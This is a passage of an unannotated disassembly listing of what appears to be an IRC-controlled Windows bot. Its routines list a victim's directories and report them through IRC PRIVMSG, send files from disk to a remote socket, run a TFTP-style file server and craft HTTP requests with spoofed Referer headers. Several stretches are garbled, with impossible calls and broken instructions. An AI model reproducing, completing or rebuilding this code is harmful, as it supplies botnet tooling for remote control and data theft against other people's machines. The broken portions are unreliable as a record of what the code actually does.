		jmp	loc_404FA0
; ---------------------------------------------------------------------------


loc_404D24:				; CODE XREF: sub_404A02+2DBj
		cmp	[ebp+arg_C], ebx
		jz	loc_404E0E
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41246A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_4126F0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_433B18	; send
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset aSS_0	; "%s%s/"
		push	edi
		push	eax
		call	sub_41246A
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_4126F0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_433B18	; send
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_4126F0
		cmp	eax, 1Eh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_404DC4
		push	offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
		jmp	short loc_404DC9
; ---------------------------------------------------------------------------


loc_404DC4:				; CODE XREF: sub_404A02+3B9j
		push	offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"


loc_404DC9:				; CODE XREF: sub_404A02+3C0j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41246A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_4126F0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_433B18	; send
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_404F91
; ---------------------------------------------------------------------------


loc_404E0E:				; CODE XREF: sub_404A02+325j
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS_0	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41246A
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	offset a31s21s	; "%-31s  %-21s\r\n"


loc_404E3B:				; CODE XREF: sub_404A02+476j
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41246A
		add	esp, 24h
		jmp	loc_404FA0
; ---------------------------------------------------------------------------


loc_404E50:				; CODE XREF: sub_404A02+2CFj
		inc	[ebp+var_4]
		cmp	[ebp+arg_8], ebx
		jz	short loc_404E7A
		push	ebx
		push	[ebp+var_368]
		call	sub_409684
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s  %-21s (%s bytes)\n"
		jmp	short loc_404E3B
; ---------------------------------------------------------------------------


loc_404E7A:				; CODE XREF: sub_404A02+454j
		cmp	[ebp+arg_C], ebx
		jz	loc_404F7A
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41246A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_4126F0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_433B18	; send
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset aSS_2	; "%s%s"
		push	edi
		push	eax
		call	sub_41246A
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_4126F0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_433B18	; send
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_4126F0
		cmp	eax, 1Fh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_404F1A
		push	offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
		jmp	short loc_404F1F
; ---------------------------------------------------------------------------


loc_404F1A:				; CODE XREF: sub_404A02+50Fj
		push	offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"


loc_404F1F:				; CODE XREF: sub_404A02+516j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41246A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_4126F0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_433B18	; send
		mov	eax, [ebp+var_368]
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41246A
		add	esp, 1Ch
		jmp	short loc_404FA0
; ---------------------------------------------------------------------------


loc_404F7A:				; CODE XREF: sub_404A02+47Bj
		push	[ebp+var_368]
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset a31s21sIBytes ; "%-31s  %-21s (%i bytes)\r\n"
		push	esi


loc_404F91:				; CODE XREF: sub_404A02+407j
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41246A
		add	esp, 18h


loc_404FA0:				; CODE XREF: sub_404A02+31Dj
					; sub_404A02+449j ...
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_4126F0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_433B18	; send
		cmp	[ebp+arg_8], ebx
		jz	short loc_404FCF
		push	7D0h
		call	dword_41D05C	; Sleep


loc_404FCF:				; CODE XREF: sub_404A02+226j
					; sub_404A02+241j ...
		lea	eax, [ebp+var_388]
		push	eax
		push	[ebp+arg_0]
		call	dword_41D090	; FindNextFileA
		test	eax, eax
		jnz	loc_404C22


loc_404FE7:				; CODE XREF: sub_404A02+215j
		push	[ebp+arg_0]
		call	near ptr 0AB0000h
		mov	ds:74105D39h, eax
		xor	eax, 99F8458Bh
		push	edx
		push	eax
		call	sub_409684
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_4]
		cdq
		push	edx
		push	eax
		call	sub_409684
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
		push	eax
		call	sub_411EEE
		add	esp, 14h
		jmp	short loc_40505E
; ---------------------------------------------------------------------------
		cmp	[ebp+arg_C], ebx
		jz	short loc_405044
		lea	eax, [ebp+var_248]
		push	offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		push	eax
		call	sub_411EEE
		pop	ecx
		pop	ecx
		jmp	short loc_40505E
; ---------------------------------------------------------------------------


loc_405044:				; CODE XREF: sub_404A02+62Bj
		push	[ebp+var_8]
		lea	eax, [ebp+var_248]
		push	[ebp+var_4]
		push	offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
		push	eax
		call	sub_411EEE
		add	esp, 10h


loc_40505E:				; CODE XREF: sub_404A02+626j
					; sub_404A02+640j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_4126F0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_433B18	; send
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_404A02	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405084	proc near		; CODE XREF: sub_4045D0+13Bp

var_4037C	= byte ptr -4037Ch
var_404		= byte ptr -404h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	3
		push	esi
		push	1
		push	80000000h
		push	[ebp+arg_4]
		mov	edi, 400h
		mov	[ebp+var_4], esi
		call	dword_41D07C	; CreateFileA
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40513C
		push	esi
		push	ebx
		call	near ptr 0AB0000h
		mov	edi, [ebx]
		mov	byte ptr [ecx+6C740C45h], 68h ;	CODE XREF: sub_405084+AFj
		add	[eax+eax], al
		add	[ebp-4037Bh], cl
		call	dword ptr [esi+50h]
		call	sub_411F70
		add	esp, 0Ch
		cmp	edi, [ebp+arg_4]
		jbe	short loc_4050E6
		mov	edi, [ebp+arg_4]


loc_4050E6:				; CODE XREF: sub_405084+5Dj
		mov	eax, [ebp+arg_4]
		push	2
		neg	eax
		push	esi
		push	eax
		push	ebx
		call	dword_41D09C	; SetFilePointer
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	ebx
		call	dword_41D098	; ReadFile
		push	esi
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	dword_433B18	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_405130
		call	dword_433A5C	; WSAGetLastError
		cmp	eax, 2733h
		jnz	short loc_405135
		xor	eax, eax


loc_405130:				; CODE XREF: sub_405084+9Bj
		sub	[ebp+arg_4], eax
		jnz	short near ptr loc_4050C3+6


loc_405135:				; CODE XREF: sub_405084+A8j
		push	ebx
		call	dword_41D074	; CloseHandle


loc_40513C:				; CODE XREF: sub_405084+30j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_405084	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_405141	proc near		; CODE XREF: .nsp0:004048CEp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		push	edi
		call	sub_4126F0
		test	eax, eax
		pop	ecx
		jbe	short loc_40516A


loc_405154:				; CODE XREF: sub_405141+27j
		cmp	byte ptr [esi+edi], 5Ch
		jnz	short loc_40515E
		mov	byte ptr [esi+edi], 2Fh


loc_40515E:				; CODE XREF: sub_405141+17j
		push	edi
		inc	esi
		call	sub_4126F0
		cmp	esi, eax
		pop	ecx
		jb	short loc_405154


loc_40516A:				; CODE XREF: sub_405141+11j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_405141	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40516F	proc near		; CODE XREF: .nsp0:0040C9F7p

var_4A0		= byte ptr -4A0h
var_310		= byte ptr -310h
var_110		= byte ptr -110h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 4A0h
		push	ebx
		lea	eax, [ebp+var_4A0]
		push	edi
		push	eax
		push	101h
		call	dword_433A40	; WSAStartup
		push	6
		push	1
		push	2
		call	dword_433B48	; socket
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_411F70
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_14]
		call	dword_433AC8	; ntohs
		push	[ebp+arg_10]
		mov	[ebp+var_E], ax
		call	sub_407F2F
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_433A70	; connect
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40524C
		mov	eax, [ebp+arg_20]
		cmp	eax, edi
		jnz	short loc_4051E8
		mov	eax, offset byte_432708


loc_4051E8:				; CODE XREF: sub_40516F+72j
		push	esi
		mov	esi, 100h
		push	[ebp+arg_10]
		push	eax
		lea	eax, [ebp+var_110]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	offset aSSHttp1_1Refer ; "%s %s	HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
		push	esi
		push	eax
		call	sub_41246A
		add	esp, 1Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_4126F0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_110]
		push	eax
		push	ebx
		call	dword_433B18	; send
		push	esi
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_411FD0
		add	esp, 0Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_433AE0	; recv
		pop	esi


loc_40524C:				; CODE XREF: sub_40516F+6Bj
		push	ebx
		call	dword_433B60	; closesocket
		call	dword_433A28	; WSACleanup
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		call	sub_411EEE
		cmp	[ebp+arg_C], edi
		pop	ecx
		pop	ecx
		jnz	short loc_40528C
		push	edi
		lea	eax, [ebp+var_310]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40F9F1
		add	esp, 14h


loc_40528C:				; CODE XREF: sub_40516F+102j
		pop	edi
		pop	ebx
		leave
		retn
sub_40516F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405290	proc near		; CODE XREF: sub_405290:loc_40577Bp
					; DATA XREF: .nsp0:004059CFo

var_884		= dword	ptr -884h
var_880		= dword	ptr -880h
var_780		= byte ptr -780h
var_580		= byte ptr -580h
var_57F		= byte ptr -57Fh
var_57E		= byte ptr -57Eh
var_57D		= byte ptr -57Dh
var_57C		= byte ptr -57Ch
var_37C		= dword	ptr -37Ch
var_378		= byte ptr -378h
var_274		= byte ptr -274h
var_170		= dword	ptr -170h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= byte ptr -164h
var_E4		= dword	ptr -0E4h
var_E0		= dword	ptr -0E0h
var_D8		= byte ptr -0D8h
var_D7		= byte ptr -0D7h
var_D6		= byte ptr -0D6h
var_D5		= byte ptr -0D5h
var_58		= byte ptr -58h
var_44		= word ptr -44h
var_42		= word ptr -42h
var_40		= dword	ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_28		= dword	ptr -28h
var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 884h
		push	ebx
		push	esi
		push	edi
		mov	edx, [ebp+arg_0]
		mov	esi, offset aOctet ; "octet"
		lea	edi, [ebp+var_1C]
		movsd
		push	1
		xor	ebx, ebx
		movsw
		pop	eax
		mov	ecx, 0A9h
		mov	esi, edx
		lea	edi, [ebp+var_37C]
		push	ebx
		push	2
		rep movsd
		inc	[ebp+var_16C]
		push	2
		mov	[ebp+var_C], eax
		mov	[edx+2A0h], eax
		call	dword_433B48	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_10], edi
		jnz	short loc_405353
		push	190h
		call	dword_41D05C	; Sleep
		call	dword_433A5C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_780]
		push	offset unk_422808
		push	eax
		call	sub_411EEE
		add	esp, 0Ch
		cmp	[ebp+var_E0], ebx
		jnz	short loc_405333
		push	ebx
		lea	eax, [ebp+var_780]
		push	[ebp+var_E4]
		push	eax
		lea	eax, [ebp+var_164]
		push	eax
		push	[ebp+var_37C]
		call	sub_40F9F1
		add	esp, 14h


loc_405333:				; CODE XREF: sub_405290+7Ej
		lea	eax, [ebp+var_780]
		push	eax
		call	sub_408E17
		push	[ebp+var_170]
		call	sub_411CB6
		pop	ecx
		pop	ecx
		push	ebx
		call	near ptr 0AB0000h
		push	es


loc_405353:				; CODE XREF: sub_405290+50j
		mov	eax, [ebp+var_170]
		push	10h
		imul	eax, 234h
		push	ebx
		mov	dword_438C64[eax], edi
		lea	eax, [ebp+var_44]
		push	eax
		call	sub_411F70
		add	esp, 0Ch
		mov	[ebp+var_44], 2
		push	[ebp+var_168]
		call	dword_433AC8	; ntohs
		mov	[ebp+var_42], ax
		lea	eax, [ebp+var_44]
		push	10h
		push	eax
		push	edi
		mov	[ebp+var_40], ebx
		call	dword_433AF4	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4053B8
		push	1388h
		call	dword_41D05C	; Sleep
		dec	[ebp+var_16C]
		push	[ebp+arg_0]
		jmp	loc_40577B
; ---------------------------------------------------------------------------


loc_4053B8:				; CODE XREF: sub_405290+10Dj
		lea	eax, [ebp+var_378]
		push	offset aRb	; "rb"
		push	eax
		call	sub_4125E8
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_8], eax
		jnz	short loc_405436
		push	190h
		call	dword_41D05C	; Sleep
		lea	eax, [ebp+var_378]
		push	eax
		lea	eax, [ebp+var_780]
		push	offset unk_4227B8
		push	eax
		call	sub_411EEE
		push	ebx
		lea	eax, [ebp+var_780]
		push	[ebp+var_E4]
		push	eax
		lea	eax, [ebp+var_164]
		push	eax
		push	[ebp+var_37C]
		call	sub_40F9F1
		lea	eax, [ebp+var_780]
		push	eax
		call	sub_408E17
		push	[ebp+var_170]
		call	sub_411CB6
		add	esp, 28h
		push	ebx
		call	near ptr 0AB0000h
		pop	esi


loc_405436:				; CODE XREF: sub_405290+140j
		mov	esi, 200h


loc_40543B:				; CODE XREF: sub_405290+4A5j
		mov	eax, [ebp+arg_0]
		cmp	[eax+2A0h], ebx
		jz	loc_40573B
		mov	[ebp+var_880], edi
		mov	edi, 80h
		push	edi
		lea	eax, [ebp+var_D8]
		push	ebx
		push	eax
		mov	[ebp+var_34], 5
		mov	[ebp+var_30], 1388h
		mov	[ebp+var_884], 1
		call	sub_411F70
		add	esp, 0Ch
		lea	eax, [ebp+var_34]
		push	eax
		push	ebx
		lea	eax, [ebp+var_884]
		push	ebx
		push	eax
		push	ebx
		call	dword_433AB0	; select
		test	eax, eax
		jle	loc_40572F
		mov	al, byte_432708
		mov	ecx, edi
		mov	[ebp+var_580], al
		xor	eax, eax
		lea	edi, [ebp+var_57F]
		mov	[ebp+var_4], 10h
		rep stosd
		stosw
		stosb
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		lea	eax, [ebp+var_D8]
		push	80h
		push	eax
		push	edi
		call	dword_433AA0	; recvfrom
		push	[ebp+var_28]
		mov	[ebp+var_C], eax
		call	dword_433B54	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_411EEE
		cmp	[ebp+var_D8], bl
		pop	ecx
		pop	ecx
		jnz	loc_405719
		cmp	[ebp+var_D7], 1
		jnz	loc_405665
		lea	eax, [ebp+var_274]
		push	eax
		call	sub_4126F0
		lea	eax, [ebp+eax+var_D5]
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_274]
		push	eax
		call	sub_4126F0
		push	eax
		lea	eax, [ebp+var_D6]
		push	eax
		lea	eax, [ebp+var_274]
		push	eax
		call	sub_4138A0
		add	esp, 14h
		test	eax, eax
		jnz	loc_40561F
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4126F0
		push	eax
		lea	eax, [ebp+var_1C]
		push	[ebp+var_14]
		push	eax
		call	sub_4138A0
		add	esp, 10h
		test	eax, eax
		jnz	loc_40561F
		push	ebx
		push	ebx
		push	[ebp+var_8]
		call	sub_41380E
		push	[ebp+var_8]
		lea	eax, [ebp+var_57C]
		mov	[ebp+var_580], bl
		mov	[ebp+var_57F], 3
		push	esi
		push	1
		push	eax
		mov	[ebp+var_57E], bl
		mov	[ebp+var_57D], 1
		call	sub_413580
		add	esp, 1Ch
		lea	ecx, [ebp+var_2C]
		mov	[ebp+var_C], eax
		add	eax, 4
		push	[ebp+var_4]
		push	ecx
		push	ebx
		push	eax
		lea	eax, [ebp+var_580]
		push	eax
		push	edi
		call	dword_433B2C	; sendto
		lea	eax, [ebp+var_378]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	offset unk_422764


loc_4055D3:				; CODE XREF: sub_405290+484j
		lea	eax, [ebp+var_780]
		push	eax
		call	sub_411EEE
		add	esp, 10h
		cmp	[ebp+var_E0], ebx
		jnz	short loc_40560D
		push	ebx
		lea	eax, [ebp+var_780]
		push	[ebp+var_E4]
		push	eax
		lea	eax, [ebp+var_164]
		push	eax
		push	[ebp+var_37C]
		call	sub_40F9F1
		add	esp, 14h


loc_40560D:				; CODE XREF: sub_405290+358j
		lea	eax, [ebp+var_780]
		push	eax
		call	sub_408E17
		pop	ecx
		jmp	loc_40572F
; ---------------------------------------------------------------------------


loc_40561F:				; CODE XREF: sub_405290+2B6j
					; sub_405290+2D7j
		push	[ebp+var_4]
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		push	13h
		push	offset dword_422750
		push	edi
		call	dword_433B2C	; sendto
		lea	eax, [ebp+var_274]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		lea	eax, [ebp+var_D8]
		push	offset unk_422714
		push	eax
		call	sub_411EEE
		lea	eax, [ebp+var_D8]
		push	eax
		call	sub_408E17
		add	esp, 14h
		jmp	loc_40572F
; ---------------------------------------------------------------------------


loc_405665:				; CODE XREF: sub_405290+275j
		cmp	[ebp+var_D7], 4
		jnz	loc_405719
		mov	cl, [ebp+var_D5]
		mov	al, [ebp+var_D6]
		cmp	cl, 0FFh
		mov	[ebp+var_580], bl
		mov	[ebp+var_57F], 3
		jnz	short loc_4056A2
		inc	al
		xor	cl, cl
		mov	[ebp+var_57E], al
		mov	[ebp+var_57D], bl
		jmp	short loc_4056B0
; ---------------------------------------------------------------------------


loc_4056A2:				; CODE XREF: sub_405290+3FEj
		inc	cl
		mov	[ebp+var_57E], al
		mov	[ebp+var_57D], cl


loc_4056B0:				; CODE XREF: sub_405290+410j
		movzx	eax, al
		movzx	ecx, cl
		shl	eax, 8
		add	eax, ecx
		push	ebx
		shl	eax, 9
		sub	eax, esi
		push	eax
		push	[ebp+var_8]
		call	sub_41380E
		push	[ebp+var_8]
		lea	eax, [ebp+var_57C]
		push	esi
		push	1
		push	eax
		call	sub_413580
		add	esp, 1Ch
		mov	edi, eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_C], edi
		push	[ebp+var_4]
		push	eax
		lea	eax, [edi+4]
		push	ebx
		push	eax
		lea	eax, [ebp+var_580]
		push	eax
		push	[ebp+var_10]
		call	dword_433B2C	; sendto
		cmp	edi, ebx
		jnz	short loc_40572F
		lea	eax, [ebp+var_378]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	offset dword_4226C4
		jmp	loc_4055D3
; ---------------------------------------------------------------------------


loc_405719:				; CODE XREF: sub_405290+268j
					; sub_405290+3DCj
		push	[ebp+var_4]
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		push	9
		push	offset dword_4226B8
		push	edi
		call	dword_433B2C	; sendto


loc_40572F:				; CODE XREF: sub_405290+204j
					; sub_405290+38Aj ...
		cmp	[ebp+var_C], ebx
		mov	edi, [ebp+var_10]
		jg	loc_40543B


loc_40573B:				; CODE XREF: sub_405290+1B4j
		push	edi
		call	dword_433B60	; closesocket
		push	[ebp+var_8]
		call	sub_412540
		mov	esi, [ebp+arg_0]
		dec	[ebp+var_16C]
		pop	ecx
		cmp	[esi+2A0h], ebx
		jnz	short near ptr loc_40576E+1
		push	[ebp+var_170]
		call	sub_411CB6
		pop	ecx
		push	ebx
		call	near ptr 0AB0000h


loc_40576E:				; CODE XREF: sub_405290+4CAj
		and	al, 68h
		call	near ptr 0FF405778h
		adc	eax, offset dword_41D05C
		push	esi


loc_40577B:				; CODE XREF: sub_405290+123j
		call	sub_405290
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_405290	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405787	proc near		; CODE XREF: .nsp0:0040F530p

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	ebx
		push	edi
		lea	eax, [ebp+var_200]
		push	offset unk_42298C
		push	eax
		xor	ebx, ebx
		call	sub_411EEE
		cmp	dword_422880, ebx
		pop	ecx
		pop	ecx
		mov	edi, 200h
		jz	short loc_4057F5
		push	esi
		mov	esi, offset dword_422888


loc_4057BA:				; CODE XREF: sub_405787+6Bj
		mov	eax, [esi]
		add	ebx, eax
		push	eax
		lea	eax, [esi-26h]
		push	eax
		lea	eax, [ebp+var_400]
		push	offset aSD	; " %s:	%d,"
		push	eax
		call	sub_411EEE
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4138E0
		add	esi, 3Ch
		add	esp, 1Ch
		cmp	dword ptr [esi-8], 0
		jnz	short loc_4057BA
		pop	esi


loc_4057F5:				; CODE XREF: sub_405787+2Bj
		push	dword_461F48
		call	sub_408886
		push	eax
		push	ebx
		lea	eax, [ebp+var_400]
		push	offset aTotalDInS_ ; " Total: %d in %s."
		push	eax
		call	sub_411EEE
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4138E0
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40F9F1
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_408E17
		add	esp, 38h
		pop	edi
		pop	ebx
		leave
		retn
sub_405787	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405851	proc near		; CODE XREF: .nsp0:0040EEB9p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	8
		call	sub_411BE2
		test	eax, eax
		pop	ecx
		jle	short loc_40588D
		mov	eax, [ebp+arg_C]
		push	dword_432718[eax*8]
		call	dword_433B54	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_200]
		push	offset unk_4229F8
		push	eax
		call	sub_411EEE
		add	esp, 0Ch
		jmp	short loc_4058A0
; ---------------------------------------------------------------------------


loc_40588D:				; CODE XREF: sub_405851+13j
		lea	eax, [ebp+var_200]
		push	offset unk_4229C4
		push	eax
		call	sub_411EEE
		pop	ecx
		pop	ecx


loc_4058A0:				; CODE XREF: sub_405851+3Aj
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40F9F1
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_408E17
		add	esp, 18h
		leave
		retn
sub_405851	endp

; ---------------------------------------------------------------------------


loc_4058C8:				; CODE XREF: sub_405FF1+4Fp
		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		mov	eax, [ebp+138h]
		push	ebx
		cmp	eax, 0FFFFFFFFh
		push	esi
		jz	loc_405C58
		imul	eax, 3Ch
		xor	ebx, ebx
		cmp	dword_42288C[eax], ebx
		jz	loc_405B39
		push	4
		call	sub_411BE2
		test	eax, eax
		pop	ecx
		jnz	loc_405C58
		mov	eax, dword_425B58
		push	edi
		mov	edi, offset dword_433094
		push	104h
		push	edi
		push	ebx
		mov	dword_4332A4, eax
		mov	dword_4332A0, ebx
		call	near ptr 0AB0000h
		xchg	eax, ebp
		push	103h
		mov	esi, offset dword_433198
		push	offset byte_425BC0
		push	esi
		call	sub_413710
		mov	eax, [ebp+118h]
		add	esp, 0Ch
		cmp	[ebp+98h], bl
		mov	dword_433090, eax
		mov	eax, [ebp+140h]
		push	7Fh
		mov	dword_433328, eax
		jnz	short loc_40597B
		lea	eax, [ebp+18h]
		push	eax
		push	offset dword_4332A8
		call	sub_413710
		add	esp, 0Ch
		mov	dword_43332C, 1
		jmp	short loc_405995
; ---------------------------------------------------------------------------


loc_40597B:				; CODE XREF: .nsp0:0040595Cj
		lea	eax, [ebp+98h]
		push	eax
		push	offset dword_4332A8
		call	sub_413710
		add	esp, 0Ch
		mov	dword_43332C, ebx


loc_405995:				; CODE XREF: .nsp0:00405979j
		push	esi
		push	edi
		push	dword_4332A4
		lea	eax, [ebp-204h]
		push	offset unk_422BA4
		push	eax
		call	sub_411EEE
		push	ebx
		lea	eax, [ebp-204h]
		push	4
		push	eax
		call	sub_41199A
		add	esp, 20h
		mov	dword_43329C, eax
		lea	eax, [ebp-4]
		push	eax
		push	ebx
		push	offset dword_433090
		push	offset sub_405290
		push	ebx
		push	ebx
		call	dword_41D070	; CreateThread
		mov	ecx, dword_43329C
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_438C6C[ecx], eax
		jz	short loc_405A04


loc_4059F2:				; CODE XREF: .nsp0:00405A02j
